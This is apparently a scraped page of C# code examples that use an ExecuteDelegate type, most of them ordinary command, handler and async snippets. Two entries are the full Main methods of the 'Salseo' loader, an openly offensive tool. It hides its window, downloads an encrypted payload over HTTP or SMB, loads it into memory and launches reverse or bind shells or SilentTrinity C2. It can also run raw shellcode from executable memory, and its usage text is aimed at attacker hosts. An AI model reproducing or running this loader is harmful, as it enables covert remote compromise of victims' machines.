Beispiel #1
0
 public EntityCommand(ExecuteDelegate execute, CanExecuteDelegate canExecute)
 {
     if (execute == null)
         throw new ArgumentNullException("execute");
     _CanExecuteDelegate = canExecute;
     _ExecuteDelegate = execute;
 }
Beispiel #2
0
 public SSHUtilCommand(string id, string description, ExecuteDelegate body)
 {
     _id = id;
     _body = body;
     _description = description;
     _defaultKey = Keys.None;
 }
Beispiel #3
0
 private void RaiseSpecificButton_Click(object sender, RoutedEventArgs e)
 {
     var d = new DummyServer();
     var ed = new ExecuteDelegate(d.Execute);
     Write("Raising specific exception...");
     ed.BeginInvoke(314, AsyncHelper.DispatchExceptions(ResultReady), ed);
 }
Beispiel #4
0
        private static void ExecuteAsync()
        {
            var d = new DummyServer();
            var ed = new ExecuteDelegate(d.Execute);
            ed.BeginInvoke(11, ResultReady, ed);

            var ed2 = new ExecuteDelegate2(d.Execute);
            ed2.BeginInvoke(11, 22, ResultReady2, ed2);
        }
Beispiel #5
0
 public RelayCommand(ExecuteDelegate execute, Func<bool> canExecute)
 {
     if (execute == null)
     {
         throw new ArgumentNullException(nameof(execute));
     }
     _execute = execute;
     _canExecute = canExecute;
 }
Beispiel #6
0
 public Window()
 {
     this.Text = "Dark Dungeon";
     this.FormBorderStyle = FormBorderStyle.None;
     this.WindowState = FormWindowState.Maximized;
     this.SaveMenuLoadedFlag = false;
     this.LoadMenuLoadedFlag = false;
     Execute += this.ExecuteItem;
     LoadCharacter += this.CharacterLoad;
     LevelGrid.PlayerDirectionChanged += this.OnPlayerDirectionChange;
     LevelGrid.OnGridItemChanged += this.OnGridItemChange;
     Movement.Encounter += this.OnEncounter;
     Enemy.HpLoss += this.UpdateStatusBox;
     this.currentState = "";
     this.LoadImages();
     this.MainMenu = new MainMenuScreen();
     this.PauseMenu = new PauseMenuScreen();
     this.CharacterSelectMenu = new CharacterSelectMenuScreen();
     Execute("Main menu");
 }
Beispiel #7
0
 static extern void InitManagedDelegates(RunDelegate run, ExecuteDelegate execute, ExecuteBackgroundDelegate executeBackground, ReloadDelegate reload, ListDelegate list);
Beispiel #8
0
 public GoalDelegate( Solver solver, ExecuteDelegate execute )
     : base(solver)
 {
     m_Execute	= execute;
 }
Beispiel #9
0
 public EntityCommand(ExecuteDelegate execute) : this(execute, null) { }
Beispiel #10
0
 public RelayCommand(ExecuteDelegate execute)
     : this(execute, null)
 {
 }
Beispiel #11
0
 public AppLogonHandler(ExecuteDelegate onExecute)
 {
     _onExecute = onExecute;
 }
Beispiel #12
0
 public TerminalCommand(string id, string description, CommandCategory category, ExecuteDelegate body, CanExecuteDelegate enabled)
     :
     base(id, GEnv.Strings, description, category, body, enabled) {
 }
Beispiel #13
0
 public AnonymousStuntBehavior(ExecuteDelegate behavior, AppliesTo appliesTo, string name)
 {
     this.behavior  = behavior;
     this.appliesTo = appliesTo ?? new AppliesTo(invocation => true);
     this.name      = name;
 }
 public BeforeChangeNameHandler(ExecuteDelegate onExecute)
 {
     _onExecute = onExecute;
 }
Beispiel #15
0
 public BeforeSaveHandler(ExecuteDelegate onExecute)
 {
     _onExecute = onExecute;
 }
 public DiagnosticClickHandler(ExecuteDelegate onExecute)
 {
     _onExecute = onExecute;
 }
 //Konstruktor
 public UserCommand(CanExecuteDelegate can, ExecuteDelegate exe)
 {
     this.CanExecuteMethode = can;
     this.ExecuteMethode    = exe;
 }
Beispiel #18
0
 static extern void InitManagedDelegates(RunDelegate run, ExecuteDelegate execute, ExecuteBackgroundDelegate executeBackground, ReloadDelegate reload, ListDelegate list);
Beispiel #19
0
        public Command CreateCommand(string name, string title, string description, string HotKey, CommandBarPopup parentCommandBar, ExecuteDelegate executeMethod, StatusDelegate statusMethod)
        {
            object[] contextGUIDS = new object[] { };
            Command  result       = null;

            string fullname = GetFullName(name);

            result = GetCommand(fullname);

            if (result == null)
            {
                Commands2 commands = (Commands2)ApplicationObject.Commands;
                result = commands.AddNamedCommand2(
                    AddInInstance,
                    name,
                    title,
                    description,
                    true,
                    0,
                    ref contextGUIDS,
                    (int)vsCommandStatus.vsCommandStatusSupported +
                    (int)vsCommandStatus.vsCommandStatusEnabled,
                    (int)vsCommandStyle.vsCommandStylePictAndText,
                    vsCommandControlType.vsCommandControlTypeButton);

                // *** If a hotkey was provided try to set it
                //result.Bindings = bindings;
                if (HotKey != null && HotKey != "")
                {
                    object[] bindings = (object[])result.Bindings;
                    if (bindings != null)
                    {
                        bindings    = new object[1];
                        bindings[0] = (object)HotKey;
                        try
                        {
                            result.Bindings = (object)bindings;
                        }
                        catch
                        {
                            // Do nothing
                        }
                    }
                }

                result.AddControl(parentCommandBar.CommandBar, ++Position);

                Log.Write("CreateCommand(" + name + ")");
            }

            if (!CommandList.ContainsKey(fullname))
            {
                CommandHandle handle = new CommandHandle();
                handle.CommandObject = result;
                handle.ExecuteMethod = executeMethod;
                handle.StatusMethod  = statusMethod;

                CommandList.Add(fullname, handle);
            }

            return(result);
        }
Beispiel #20
0
 public Command CreateCommand(string name, string title, string description, string HotKey, CommandBarPopup parentCommandBar, ExecuteDelegate executeMethod)
 {
     return(CreateCommand(name, title, description, HotKey, parentCommandBar, executeMethod, null));
 }
Beispiel #21
0
        static void Main(string[] args)
        {
    	IntPtr h = Process.GetCurrentProcess().MainWindowHandle;
    	ShowWindow(h, 0);
            string banner = @"
  _____  ____  _     _____   ___   ___    
 / ___/ /    || |   / ___/  /  _] /   \   
(   \_ |  o  || |  (   \_  /  [_ |     |  
 \__  ||     || |___\__  ||    _]|  O  |  
 /  \ ||  _  ||     /  \ ||   [_ |     |  
 \    ||  |  ||     \    ||     ||     |  
  \___||__|__||_____|\___||_____| \___/   
                                          
 _       ___    ____  ___      ___  ____  
| |     /   \  /    ||   \    /  _]|    \ 
| |    |     ||  o  ||    \  /  [_ |  D  )
| |___ |  O  ||     ||  D  ||    _]|    / 
|     ||     ||  _  ||     ||   [_ |    \ 
|     ||     ||  |  ||     ||     ||  .  \
|_____| \___/ |__|__||_____||_____||__|\_|

";
            Console.ForegroundColor = ConsoleColor.Green;
            Console.Write(banner);
            Console.ForegroundColor = ConsoleColor.White;
            Console.WriteLine("                             By: CyberVaca@HackPlayers");
            
            if (args.Length <= 2 )
            {
            	string ayuda = @"
[+] Usage:

    [-] SalseoLoader.exe password http://webserver.com/elfuckingmal.txt ReverseTCP LHOST LPORT
    [-] SalseoLoader.exe password \\smbserver.com\evil\elfuckingmal.txt ReverseUDP LHOST LPORT
    [-] SalseoLoader.exe password c:\temp\elfuckingmal.txt ReverseICMP LHOST
    [-] SalseoLoader.exe password http://webserver.com/elfuckingmal.txt ReverseDNS LHOST ServerDNS
    [-] SalseoLoader.exe password http://webserver.com/elfuckingmal.txt BindTCP LHOST LPORT
    [-] SalseoLoader.exe password c:\temp\elfuckingmal.txt ReverseSSL LHOST LPORT
    [-] SalseoLoader.exe password http://webserver.com/shellcode.txt shellcode
    
[+] Shells availables:

    [-] ReverseTCP  [-] ReverseDNS   [-] ReverseSSL
    [-] ReverseUDP  [-] ReverseICMP  [-] BindTCP

";
                // Ayuda();
                Console.ForegroundColor = ConsoleColor.Gray;
				Console.WriteLine(ayuda);
                System.Environment.Exit(1);

            }



            //################### Parametros del Loader y comprobacion de los argumentos introducidos ################### 
            string Salseo_Encriptado = null;
            string clave = args[0].ToString();
            byte[] xKey = Encoding.ASCII.GetBytes(clave);
            string Salseo_URL = args[1].ToString();
            string funcion = args[2].ToString().ToLower();
            if (funcion == "reversetcp" || funcion == "reversessl" ) { if (args.Length < 5) { Console.WriteLine("\n[-] Necesitas introducir un puerto :("); Environment.Exit(1); } }
            if (funcion == "reverseudp") { if (args.Length < 5) { Console.WriteLine("\n[-] Necesitas introducir un puerto :("); Environment.Exit(1); } }
            if (funcion == "reversedns") { if (args.Length < 5) { Console.WriteLine("\n[-] Necesitas introducir un nombre de dominio :("); Environment.Exit(1); } }
            if (funcion == "reverseicmp") { if (args.Length < 4) { Environment.Exit(1); } }
            if (funcion == "shellcode") { if (args.Length < 2) { Console.Write("aqui entra"); Environment.Exit(1); } }
            if (funcion != "reversetcp" & funcion != "reversedns" & funcion != "reverseicmp" & funcion != "reverseudp" & funcion != "bindtcp" & funcion != "reversessl" & funcion != "shellcode") { Console.WriteLine("\n[-] Error en el tipo de shell :("); Environment.Exit(1); }
            Console.ForegroundColor = ConsoleColor.Gray;
            if (args[1].ToString().Substring(0, 4).ToLower() == "http") { Salseo_Encriptado = ClienteWeb.LeePayload(args[1].ToString()); }
            if (args[1].ToString().Substring(0, 2).ToLower() == "\\\\") { Console.WriteLine("[+] Leyendo datos via SMB..."); if (System.IO.File.Exists(Salseo_URL) == false) { Console.WriteLine("[-] Error: No se pudo leer el payload ¿ La ruta es correcta ?"); Environment.Exit(1); } Salseo_Encriptado = LeeArchivoSMBorLocal.Archivo(args[1].ToString()); }
            if (args[1].ToString().Substring(0, 4).ToLower() != "http" && args[1].ToString().Substring(0, 2).ToLower() != "\\\\") { Console.WriteLine("[+] Leyendo datos via LOCAL..."); if (System.IO.File.Exists(Salseo_URL) == false) { Console.WriteLine("[-] Error: No se pudo leer el payload ¿ La ruta es correcta ?"); Environment.Exit(1); } Salseo_Encriptado = LeeArchivoSMBorLocal.Archivo(args[1].ToString()); }
            //#############################################################
            //####################### Cargando dll ######################## 
            //#############################################################

            string hexadecimal = Zipea.Descomprime(Salseo_Encriptado);
            byte[] Final_Payload_encriptado = StringHEXToByteArray.Convierte(hexadecimal);
            byte[] Final_Payload = RC4.Decrypt(xKey, Final_Payload_encriptado);
            string clases = null;
            Assembly salsongo = null;
            
            if (funcion != "shellcode")
            {
                salsongo = Assembly.Load(Final_Payload);
                Console.WriteLine("[+] Cargando la salsa en memoria.");
                Console.WriteLine("[+] Namespace de Assembly : " + salsongo.GetName().Name);
                foreach (Type infoass in salsongo.GetTypes()) { var strclase = string.Format("{0}", infoass.Name); clases = strclase; };
                //######################## Foreach de los metodos ####################
                //#####################################################################
                Console.WriteLine("[+] Version: " + salsongo.GetName().Version.ToString());
                Console.ForegroundColor = ConsoleColor.White;
                //#############################################################

            }
            //########################### LLamada a funcion Reversa ########################
            if (funcion == "reversetcp")
            {
                string LHOST = args[3].ToString();
                string LPORT = args[4].ToString();
                string[] argumentos = new string[] { LHOST + " " + LPORT };
                Type myType = salsongo.GetTypes()[0];
                MethodInfo Method = myType.GetMethod("reversetcp");
                object myInstance = Activator.CreateInstance(myType);
                Method.Invoke(myInstance, new object[] { argumentos });
            }
            if (funcion == "reversessl")
            {
                string LHOST = args[3].ToString();
                string LPORT = args[4].ToString();
                string[] argumentos = new string[] { LHOST + " " + LPORT };
                Type myType = salsongo.GetTypes()[0];
                MethodInfo Method = myType.GetMethod("reversessl");
                object myInstance = Activator.CreateInstance(myType);
                Method.Invoke(myInstance, new object[] { argumentos });
            }
            if (funcion == "reverseudp")
            {
                string LHOST = args[3].ToString();
                string LPORT = args[4].ToString();
                string[] argumentos = new string[] { LHOST + " " + LPORT };
                Type myType = salsongo.GetTypes()[0];
                MethodInfo Method = myType.GetMethod("reverseudp");
                object myInstance = Activator.CreateInstance(myType);
                Method.Invoke(myInstance, new object[] { argumentos });
            }
            if (funcion == "reversedns")
            {
                string LHOST = args[3].ToString();
                string DNSServer = args[4].ToString();
                string[] argumentos = new string[] { LHOST + " " + DNSServer };
                Type myType = salsongo.GetTypes()[0];
                MethodInfo Method = myType.GetMethod("reversedns");
                object myInstance = Activator.CreateInstance(myType);
                Method.Invoke(myInstance, new object[] { argumentos });
            }
            if (funcion == "reverseicmp")
            {
                string LHOST = args[3].ToString();
                string[] argumentos = new string[] { LHOST + " " };
                Type myType = salsongo.GetTypes()[0];
                MethodInfo Method = myType.GetMethod("reverseicmp");
                object myInstance = Activator.CreateInstance(myType);
                Method.Invoke(myInstance, new object[] { argumentos });
            }
            if (funcion == "bindtcp")
            {
                string LHOST = args[3].ToString();
                string LPORT = args[4].ToString();
                string[] argumentos = new string[] { LHOST + " " + LPORT };
                Type myType = salsongo.GetTypes()[0];
                MethodInfo Method = myType.GetMethod("bindtcp");
                object myInstance = Activator.CreateInstance(myType);
                Method.Invoke(myInstance, new object[] { argumentos });
            }
            if (funcion == "shellcode")
            {
                byte[] sc = Final_Payload;
                IntPtr baseAddr = VirtualAlloc(IntPtr.Zero, (UIntPtr)(sc.Length + 1), AllocationType.RESERVE | AllocationType.COMMIT, MemoryProtection.EXECUTE_READWRITE);
                System.Diagnostics.Debug.Assert(baseAddr != IntPtr.Zero, "Error: No se pudo asignar la memoria remota.");
                Console.WriteLine("[+] Intentando cargar Shellcode");

                try
                {
                    Marshal.Copy(sc, 0, baseAddr, sc.Length);
                    ExecuteDelegate del = (ExecuteDelegate)Marshal.GetDelegateForFunctionPointer(baseAddr, typeof(ExecuteDelegate));

                    del();
                }
                catch (Exception e)
                {
                    Console.WriteLine(e.Message);
                }
                finally
                {
                    VirtualFree(baseAddr, 0, FreeType.MEM_RELEASE);
                }
            }
        }
Beispiel #22
0
 public THHEffectAfter(string pile, CheckConditionDelegate onCheckCondition, CheckTargetDelegate onCheckTarget, ExecuteDelegate onExecute) :
     base(new After <T>(), pile, (game, card, vars) =>
 {
     if (onCheckCondition != null && vars != null && vars.Length > 0 && vars[0] is T t)
     {
         return(onCheckCondition.Invoke(game, card, t));
     }
     else
     {
         return(true);
     }
 }, onCheckTarget, (game, card, vars, targets) =>
 {
     if (onExecute != null && vars != null && vars.Length > 0 && vars[0] is T t)
     {
         return(onExecute.Invoke(game, card, t));
     }
     else
     {
         return(Task.CompletedTask);
     }
 })
 {
 }
 public InstantNotification()
 {
     _ed = Execute;
 }
Beispiel #24
0
 public THHEffect(TriggerTime trigger, string pile, CheckConditionDelegate onCheckCondition, CheckTargetDelegate onCheckTarget, ExecuteDelegate onExecute)
 {
     triggers = new TriggerTime[] { trigger };
     piles    = new string[] { pile };
     this.onCheckCondition = onCheckCondition;
     this.onCheckTarget    = onCheckTarget;
     this.onExecute        = onExecute;
 }
Beispiel #25
0
 public DocReturnNotifyHandler(ExecuteDelegate onExecute)
 {
     _onExecute = onExecute;
 }
Beispiel #26
0
 public THHEffect(TriggerTime[] triggers, string[] piles, CheckConditionDelegate onCheckCondition, CheckTargetDelegate onCheckTarget, ExecuteDelegate onExecute)
 {
     this.triggers         = triggers;
     this.piles            = piles;
     this.onCheckCondition = onCheckCondition;
     this.onCheckTarget    = onCheckTarget;
     this.onExecute        = onExecute;
 }
 public Cmd_test(String name, ExecuteDelegate del)
     : base(name)
 {
     m_delegate = del;
 }
Beispiel #28
0
 public RelayCommand(ExecuteDelegate execute, CanExecuteDelegate canExecute = null)
 {
     this.execute    = execute;
     this.canExecute = canExecute;
 }
Beispiel #29
0
			public JobAsyncResult(IJob job, AsyncCallback asyncCallback, JobExecutionContext context,
			                            object asyncState)
			{
				this.job = job;
				this.executeDelegate = job.Execute;
				this.asyncCallback = asyncCallback;
				this.asyncState = asyncState;
				inner = executeDelegate.BeginInvoke(context, Callback, asyncState);
			}
Beispiel #30
0
 public S Execute(ExecuteDelegate exeDelegate)
 {
     return(exeDelegate(this.CreateData()));
 }
 public InstantNotification()
 {
     ed = new ExecuteDelegate(this.Execute);
 }
 public WorkerFunction(ExecuteDelegate func)
 {
     Func = func;
 }
 /// <summary>
 /// Constructor.
 /// </summary>
 public XmlILCommand(ExecuteDelegate delExec, QilExpression qil, StaticDataManager staticData) {
     Debug.Assert(qil != null);
     this.delExec = delExec;
     this.defaultWriterSettings = qil.DefaultWriterSettings;
     this.wsRules = qil.WhitespaceRules;
     this.names = staticData.Names;
     this.prefixMappingsList = staticData.PrefixMappingsList;
     this.filters = staticData.NameFilters;
     this.types = staticData.XmlTypes;
     this.collations = staticData.Collations;
     this.globalNames = staticData.GlobalNames;
     this.earlyInfo = staticData.EarlyBound;
 }
 internal WorkerFuncChainHelper(ExecuteDelegate innerFunc, ExecuteDelegate outerFunc)
 {
     _innerFunc = innerFunc;
     _outerFunc = outerFunc;
 }
Beispiel #35
0
 /// <summary>
 /// Creates an <see cref="IStuntBehavior"/> for the given
 /// <see cref="ExecuteDelegate"/> delegate.
 /// </summary>
 /// <param name="behavior">The actual behavior that will be invoked as part of the stunt.</param>
 /// <param name="appliesTo">Whether the <paramref name="behavior"/> applies to a particular <see cref="IMethodInvocation"/>. Defaults to 'always applies'.</param>
 /// <param name="name">Optional friendly name for the behavior for diagnostics.</param>
 public static IStuntBehavior Create(ExecuteDelegate behavior, AppliesTo appliesTo = null, string name = null)
 => new AnonymousStuntBehavior(behavior, appliesTo, name);
 public ViewModelCommand(ExecuteDelegate execute, CanExecuteDelegate canExecute)
 {
     m_execute       = execute       ?? s_defaultExecute     ;
     m_canExecute    = canExecute    ?? s_defaultCanExecute  ;
 }
Beispiel #37
0
 public BasicCommand(string id, string description, CommandCategory category, Keys defaultkey, ExecuteDelegate body)
     : base(id, CoreUtil.Strings, description, category, body)
 {
     _defaultShortcutKey = defaultkey;
 }
Beispiel #38
0
 /// <summary>
 /// <ja>
 /// 引数なしのコンストラクタです。
 /// </ja>
 /// <en>
 /// Constructor that doesn't have argument
 /// </en>
 /// </summary>
 /// <remarks>
 /// <ja>
 /// このコンストラクタで作成されたコマンドは、コマンドが実行されてもいかなる処理もしません。
 /// </ja>
 /// <en>
 /// The command made by this constructor is executed the command or doesn't do the becoming it processing either. 
 /// </en>
 /// </remarks>
 /// <overloads>
 /// <summary>
 /// <ja>
 /// コマンドオブジェクトを作成します。
 /// </ja>
 /// <en>
 /// Making the command object. 
 /// </en>
 /// </summary>
 /// </overloads>
 public PoderosaCommandImpl() {
     _execute = null;
     _canExecute = null;
 }
Beispiel #39
0
 private static void ExecuteWrapper()
 {
     var d = new DummyServer();
     var ed = new ExecuteDelegate(d.Execute);
     ed.BeginInvoke(271, AsyncHelper.DispatchExceptions(ResultReady), ed);
 }
Beispiel #40
0
 /// <summary>
 /// <ja>
 /// コマンドが実行される際に呼び出すデリゲートと、メニューやツールバーが選択可能かどうかを示すデリゲートを指定したコンストラクタです。
 /// </ja>
 /// <en>
 /// Constructor that specified delegate that shows whether delegate, menu, and toolbar called when command is executed can be selected
 /// </en>
 /// </summary>
 /// <param name="execute">
 /// <ja>
 /// コマンドが実行される際に呼び出されるデリゲートです。
 /// </ja>
 /// <en>
 /// Delegate called when command is executed.
 /// </en>
 /// </param>
 /// <param name="canExecute">
 /// <ja>メニューやツールバーをイネーブルにするかディスエブルにするかを決めるときに呼び出されるデリゲートです。</ja>
 /// <en>Delegate called when whether menu and toolbar are made Inabl or making to disable is decided.</en>
 /// </param>
 /// <remarks>
 /// <ja>
 /// <para>
 /// コマンドが実行される際——言い換えると<seealso cref="IPoderosaCommand">IPoderosaCommand</seealso>の
 /// <see cref="IPoderosaCommand.InternalExecute">InternalExecute</see>メソッドが呼び出されるときに、<paramref name="execute">execute</paramref>
 /// に指定したデリゲートが呼び出されます。
 /// </para>
 /// <para>
 /// メニューやツールバーをイネーブルにするかディスエブルにするかを決めるとき——
 /// 言い換えると<seealso cref="IPoderosaCommand">IPoderosaCommand</seealso>の<see cref="IPoderosaCommand.CanExecute">CanExecute</see>メソッドが呼び出されるときに、
 /// <paramref name="canExecute">canExecute</paramref>に指定したデリゲートが呼び出されます。
 /// </para>
 /// </ja>
 /// <en>
 /// <para>
 /// When the <see cref="IPoderosaCommand.InternalExecute">InternalExecute</see> method of <seealso cref="IPoderosaCommand">IPoderosaCommand</seealso> is called, specified delegate is called in execute when paraphrasing it when the command is executed. 
 /// </para>
 /// <para>
 /// In the processing of the <see cref="IPoderosaCommand.CanExecute">CanExecute</see> method of <seealso cref="IPoderosaCommand">IPoderosaCommand</seealso>, true is always implemented so that it is returned. 
 /// </para>
 /// </en>
 /// </remarks>
 public PoderosaCommandImpl(ExecuteDelegate execute, CanExecuteDelegate canExecute) {
     _execute = execute;
     _canExecute = canExecute;
 }
Beispiel #41
0
        static void Main(string[] args)
        {
            IntPtr h = Process.GetCurrentProcess().MainWindowHandle;

            ShowWindow(h, 0);
            string banner = @"
  _____  ____  _     _____   ___   ___    
 / ___/ /    || |   / ___/  /  _] /   \   
(   \_ |  o  || |  (   \_  /  [_ |     |  
 \__  ||     || |___\__  ||    _]|  O  |  
 /  \ ||  _  ||     /  \ ||   [_ |     |  
 \    ||  |  ||     \    ||     ||     |  
  \___||__|__||_____|\___||_____| \___/   
                                          
 _       ___    ____  ___      ___  ____  
| |     /   \  /    ||   \    /  _]|    \ 
| |    |     ||  o  ||    \  /  [_ |  D  )
| |___ |  O  ||     ||  D  ||    _]|    / 
|     ||     ||  _  ||     ||   [_ |    \ 
|     ||     ||  |  ||     ||     ||  .  \
|_____| \___/ |__|__||_____||_____||__|\_|

";

            Console.ForegroundColor = ConsoleColor.Green;
            Console.Write(banner);
            Console.ForegroundColor = ConsoleColor.White;
            Console.WriteLine("                             By: CyberVaca@HackPlayers");

            string ayuda = @"
[+] Usage:

    [-] SalseoStandalone.exe
    [-] You need to have your mandanga.txt on the same folder!
    [-] Serve your payload as you want! SMB, HTTP, Locally...
    [-] Want a meterpreter shell? Create a raw payload with msfvenom,
        encrypt it with encrypterassembly.py and use shellcode function.

    [-] Mandanga.txt contents:
        [-] Reverse TCP/UDP/SSL     [-] Reverse ICMP        [-] Reverse DNS
            <password>                  <password>              <password>
            <path_to_elmal.txt>         <path_to_elmal.txt>     <path_to_elmal.txt>
            reversetcp/udp/ssl          reverseicmp             reversedns
            <LHOST>                     <LHOST>                 <LHOST>
            <LPORT>                                             <DNS Server>

        [-] Bind TCP                [-] SilentTrinity       [-] Shellcode
            <password>                  <password>              <password>
            <path_to_elmal.txt>         <path_to_elmal.txt>     <path_to_payload.txt>
            bindtcp                     silenttrinity           shellcode
            <LHOST>                     <URL_to_C2C>             
            <LPORT> 
   
[+] Available Payloads:

    [-] ReverseTCP  [-] ReverseDNS   [-] ReverseSSL  [-] Shellcode
    [-] ReverseUDP  [-] ReverseICMP  [-] BindTCP     [-] SilentTrinity

";
            //################### Parametros del Loader y comprobacion de los argumentos introducidos ###################

            //////////////////////STANDALONE VERSION
            string file_name  = ".\\mandanga.txt";
            string clave      = "";
            string Salseo_URL = "";
            string funcion    = "";
            string DNSServer  = "";
            string URLSILENT  = "";
            string LHOST      = "";
            string LPORT      = "";

            if (System.IO.File.Exists(file_name) == true)
            {
                System.IO.StreamReader objReader;
                try
                {
                    if (File.ReadLines(file_name).Count() < 3)
                    {
                        Console.WriteLine(ayuda); Environment.Exit(1);
                    }
                    objReader  = new System.IO.StreamReader(file_name);
                    clave      = objReader.ReadLine();           //Pass. ALways present.
                    Salseo_URL = objReader.ReadLine();           //elmal.txt or shellcode.txt. Always present.
                    funcion    = objReader.ReadLine().ToLower(); //Chosen function. Always present.

                    Console.WriteLine("[+] Password: "******"shellcode")
                    {
                        Console.WriteLine("[+] Shellcode path: " + Salseo_URL);
                    }
                    else
                    {
                        Console.WriteLine("[+] Elmal.txt path: " + Salseo_URL);
                    }
                    Console.WriteLine("[+] Chosen Function: " + funcion);
                    if (funcion == "shellcode")
                    {
                    }
                    else if (funcion == "silenttrinity")
                    {
                        if (File.ReadLines(file_name).Count() < 4)
                        {
                            Console.WriteLine(ayuda); Environment.Exit(1);
                        }
                        URLSILENT = objReader.ReadLine(); //SilentTrinity URL.
                        Console.WriteLine("[+] SilentTrinity URL: " + URLSILENT);
                    }
                    else if (funcion == "icmp")
                    {
                        if (File.ReadLines(file_name).Count() < 4)
                        {
                            Console.WriteLine(ayuda); Environment.Exit(1);
                        }
                        LHOST = objReader.ReadLine(); //SilentTrinity URL.
                        Console.WriteLine("[+] SilentTrinity URL: " + LHOST);
                    }
                    else if (funcion == "serverdns")
                    {
                        //HOST + DNSserver for dns shells.
                        if (File.ReadLines(file_name).Count() < 5)
                        {
                            Console.WriteLine(ayuda); Environment.Exit(1);
                        }
                        LHOST     = objReader.ReadLine();
                        DNSServer = objReader.ReadLine();
                        Console.WriteLine("IP: " + LHOST);
                        Console.WriteLine("Port: " + DNSServer);
                    }
                    else
                    {
                        //HOST + PORT for bind/reverse shells.
                        if (File.ReadLines(file_name).Count() < 5)
                        {
                            Console.WriteLine(ayuda); Environment.Exit(1);
                        }
                        LHOST = objReader.ReadLine();
                        LPORT = objReader.ReadLine();
                        Console.WriteLine("IP: " + LHOST);
                        Console.WriteLine("Port: " + LPORT);
                    }
                    objReader.Close();
                }
                catch (System.NullReferenceException e)
                {
                    Console.WriteLine(e);
                }
            }
            else
            {
                Console.WriteLine(ayuda); Console.WriteLine("[-] .\\mandanga.txt file does not exist."); Environment.Exit(1);
            }



            string Salseo_Encriptado = null;

            byte[] xKey = Encoding.ASCII.GetBytes(clave);
            Console.ForegroundColor = ConsoleColor.Gray;
            if (Salseo_URL.Substring(0, 4).ToLower() == "http")
            {
                Salseo_Encriptado = ClienteWeb.LeePayload(Salseo_URL);
            }
            if (Salseo_URL.Substring(0, 2).ToLower() == "\\\\")
            {
                Console.WriteLine("[+] Leyendo datos via SMB..."); if (System.IO.File.Exists(Salseo_URL) == false)
                {
                    Console.WriteLine("[-] Error: No se pudo leer el payload ¿ La ruta es correcta ?"); Environment.Exit(1);
                }
                Salseo_Encriptado = LeeArchivoSMBorLocal.Archivo(Salseo_URL);
            }
            if (Salseo_URL.Substring(0, 4).ToLower() != "http" && Salseo_URL.Substring(0, 2).ToLower() != "\\\\")
            {
                Console.WriteLine("[+] Leyendo datos via LOCAL..."); if (System.IO.File.Exists(Salseo_URL) == false)
                {
                    Console.WriteLine("[-] Error: No se pudo leer el payload ¿ La ruta es correcta ?"); Environment.Exit(1);
                }
                Salseo_Encriptado = LeeArchivoSMBorLocal.Archivo(Salseo_URL);
            }
            //#############################################################
            //####################### Cargando dll ########################
            //#############################################################

            string hexadecimal = Zipea.Descomprime(Salseo_Encriptado);

            byte[]   Final_Payload_encriptado = StringHEXToByteArray.Convierte(hexadecimal);
            byte[]   Final_Payload            = RC4.Decrypt(xKey, Final_Payload_encriptado);
            string   clases   = null;
            Assembly salsongo = null;

            if (funcion != "shellcode")
            {
                salsongo = Assembly.Load(Final_Payload);
                Console.WriteLine("[+] Cargando la salsa en memoria.");
                Console.WriteLine("[+] Namespace de Assembly : " + salsongo.GetName().Name);
                foreach (Type infoass in salsongo.GetTypes())
                {
                    var strclase = string.Format("{0}", infoass.Name); clases = strclase;
                }
                ;
            }

            //########################### LLamada a funcion SilentTrinity ########################
            if (funcion == "silenttrinity")
            {
                string[]   argumentos = new string[] { URLSILENT };
                Type       myType     = salsongo.GetTypes()[0];
                MethodInfo Method     = myType.GetMethod("lanza");
                object     myInstance = Activator.CreateInstance(myType);
                Method.Invoke(myInstance, new object[] { argumentos });
            }
            //########################### LLamada a funcion Reversa ########################

            if (funcion == "reversetcp")
            {
                string[]   argumentos = new string[] { LHOST + " " + LPORT };
                Type       myType     = salsongo.GetTypes()[0];
                MethodInfo Method     = myType.GetMethod("reversetcp");
                object     myInstance = Activator.CreateInstance(myType);
                Method.Invoke(myInstance, new object[] { argumentos });
            }
            if (funcion == "reversessl")
            {
                string[]   argumentos = new string[] { LHOST + " " + LPORT };
                Type       myType     = salsongo.GetTypes()[0];
                MethodInfo Method     = myType.GetMethod("reversessl");
                object     myInstance = Activator.CreateInstance(myType);
                Method.Invoke(myInstance, new object[] { argumentos });
            }
            if (funcion == "reverseudp")
            {
                string[]   argumentos = new string[] { LHOST + " " + LPORT };
                Type       myType     = salsongo.GetTypes()[0];
                MethodInfo Method     = myType.GetMethod("reverseudp");
                object     myInstance = Activator.CreateInstance(myType);
                Method.Invoke(myInstance, new object[] { argumentos });
            }
            if (funcion == "reversedns")
            {
                string[]   argumentos = new string[] { LHOST + " " + DNSServer };
                Type       myType     = salsongo.GetTypes()[0];
                MethodInfo Method     = myType.GetMethod("reversedns");
                object     myInstance = Activator.CreateInstance(myType);
                Method.Invoke(myInstance, new object[] { argumentos });
            }
            if (funcion == "reverseicmp")
            {
                string[]   argumentos = new string[] { LHOST + " " };
                Type       myType     = salsongo.GetTypes()[0];
                MethodInfo Method     = myType.GetMethod("reverseicmp");
                object     myInstance = Activator.CreateInstance(myType);
                Method.Invoke(myInstance, new object[] { argumentos });
            }
            if (funcion == "bindtcp")
            {
                string[]   argumentos = new string[] { LHOST + " " + LPORT };
                Type       myType     = salsongo.GetTypes()[0];
                MethodInfo Method     = myType.GetMethod("bindtcp");
                object     myInstance = Activator.CreateInstance(myType);
                Method.Invoke(myInstance, new object[] { argumentos });
            }
            if (funcion == "shellcode")
            {
                byte[] sc       = Final_Payload;
                IntPtr baseAddr = VirtualAlloc(IntPtr.Zero, (UIntPtr)(sc.Length + 1), AllocationType.RESERVE | AllocationType.COMMIT, MemoryProtection.EXECUTE_READWRITE);
                System.Diagnostics.Debug.Assert(baseAddr != IntPtr.Zero, "Error: No se pudo asignar la memoria remota.");
                Console.WriteLine("[+] Intentando cargar Shellcode");

                try
                {
                    Marshal.Copy(sc, 0, baseAddr, sc.Length);
                    ExecuteDelegate del = (ExecuteDelegate)Marshal.GetDelegateForFunctionPointer(baseAddr, typeof(ExecuteDelegate));

                    del();
                }
                catch (Exception e)
                {
                    Console.WriteLine(e.Message);
                }
                finally
                {
                    VirtualFree(baseAddr, 0, FreeType.MEM_RELEASE);
                }
            }
        }
Beispiel #42
0
 /// <summary>
 /// <ja>
 /// コマンドID、カルチャ、説明テキストID、コマンドカテゴリ、コマンドが実行される際に呼び出されるデリゲートを指定してオブジェクトを作成します。
 /// </ja>
 /// <en>
 /// The object is made specifying delegate called when command ID, culture, explanation text ID, the command category, and the command are executed. 
 /// </en>
 /// </summary>
 /// <param name="commandID">
 /// <ja>
